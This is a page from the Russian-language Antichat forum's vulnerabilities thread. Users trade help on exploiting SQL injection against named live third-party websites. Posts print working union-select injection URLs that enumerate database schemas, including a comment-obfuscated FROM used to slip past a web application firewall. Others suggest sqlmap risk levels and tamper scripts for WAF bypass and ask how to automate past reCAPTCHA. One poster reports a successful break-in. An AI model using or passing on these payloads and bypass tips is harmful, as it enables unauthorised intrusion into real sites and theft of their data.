HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 133 из 296 « Первая < 3383123 129 130 131 132 133 134 135 136 137 143183233 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 02.09.2016, 15:22
Sensoft
Постоянный
Регистрация: 14.06.2015
Сообщений: 396
С нами: 5745206

Репутация: 1
По умолчанию
Цитата:
Сообщение от pw0ned  
↑
WAF блочит если я не ошибаюсь. Крути руками
Ошибаешься waf не причём

+ логично если хав обошёл мамп тем более сможет обойти
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 02.09.2016, 15:24
demafly76
Новичок
Регистрация: 14.08.2016
Сообщений: 17
С нами: 5130326

Репутация: 0
По умолчанию
Цитата:
Сообщение от r1l  
↑
Ребят помогите раскрутить
Код:
http://trafficswirl.com/teamsplash.php?tid=1%27
Ни как мне эта скуля не дается((
с --technique=EU не крутит, --level=5 --risk=3 тоже не крутит, ХАВИДЖИ раскручивает эту уязвимость, sqlmap не может(
либо я дурак либо лыжи правда не едут....
уязвимость раскручивается точно знаю, только как?(
Код:
http://trafficswirl.com/teamsplash.php?tid=1'+union+select+version(),2+--+
 
Ответить с цитированием

  #3  
Старый 02.09.2016, 15:31
pw0ned
Участник форума
Регистрация: 08.01.2016
Сообщений: 118
С нами: 5445686

Репутация: 14
По умолчанию
Цитата:
Сообщение от Sensoft  
↑
Ошибаешься waf не причём
+ логично если хав обошёл мамп тем более сможет обойти
Ты сам в мап уязвимость пихал ? Говорю ваф блочит, ты не слушаешь
 
Ответить с цитированием

  #4  
Старый 02.09.2016, 15:37
demafly76
Новичок
Регистрация: 14.08.2016
Сообщений: 17
С нами: 5130326

Репутация: 0
По умолчанию
Код:
http://trafficswirl.com/teamsplash.php?tid=-1'+union+select+schema_name,2+/*!From*/+information_schema.schemata+--+sp
В ссылках вывод
 
Ответить с цитированием

  #5  
Старый 02.09.2016, 15:54
Sensoft
Постоянный
Регистрация: 14.06.2015
Сообщений: 396
С нами: 5745206

Репутация: 1
По умолчанию
Цитата:
Сообщение от pw0ned  
↑
Ты сам в мап уязвимость пихал ? Говорю ваф блочит, ты не слушаешь
Сувал но по логам нет не чего на счёт ваф у меня норм проходит

ваф меня пропускает
 
Ответить с цитированием

  #6  
Старый 02.09.2016, 15:57
pw0ned
Участник форума
Регистрация: 08.01.2016
Сообщений: 118
С нами: 5445686

Репутация: 14
По умолчанию
Цитата:
Сообщение от Sensoft  
↑
Сувал но по логам нет не чего на счёт ваф у меня норм проходит
ваф меня пропускает
ну-ка заскринь
 
Ответить с цитированием

  #7  
Старый 02.09.2016, 15:58
r1l
Новичок
Регистрация: 19.01.2016
Сообщений: 15
С нами: 5429846

Репутация: 0
По умолчанию
все ребят, отбой раскрутил, ахаха, но всеравно спасибо)
 
Ответить с цитированием

  #8  
Старый 02.09.2016, 16:02
pw0ned
Участник форума
Регистрация: 08.01.2016
Сообщений: 118
С нами: 5445686

Репутация: 14
По умолчанию
Цитата:
Сообщение от r1l  
↑
Ребят помогите раскрутить
Код:
http://trafficswirl.com/teamsplash.php?tid=1%27
Ни как мне эта скуля не дается((
с --technique=EU не крутит, --level=5 --risk=3 тоже не крутит, ХАВИДЖИ раскручивает эту уязвимость, sqlmap не может(
либо я дурак либо лыжи правда не едут....
уязвимость раскручивается точно знаю, только как?(
Можно попробовать обойти ваф набором тамперов.

https://github.com/sqlmapproject/sqlmap/tree/master/waf
 
Ответить с цитированием

  #9  
Старый 02.09.2016, 20:52
kacergei
Новичок
Регистрация: 26.05.2007
Сообщений: 8
С нами: 9979143

Репутация: -5
По умолчанию
Часто стал натыкаться на сайтах на "Защиту от роботов" в основном рекапча

её как то можно обойти?

Даже если через сторонний сервис чекать, то как автоматизировать с тем же к примеру sqlmap
 
Ответить с цитированием

  #10  
Старый 02.09.2016, 22:40
r1l
Новичок
Регистрация: 19.01.2016
Сообщений: 15
С нами: 5429846

Репутация: 0
По умолчанию
Кручу уязвимость:

Код:
http://asia-fashion-wholesale.com/welcome/index.php?asday=2016-5-5&catId=1%27%22&_a=viewCat_new
раскручиваю через --dbms=MySQL --risk=3

но чет какая то лажа выходит(



реально ли такое раскрутить?
 
Ответить с цитированием
Ответ
Страница 133 из 296 « Первая < 3383123 129 130 131 132 133 134 135 136 137 143183233 > Последняя »



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.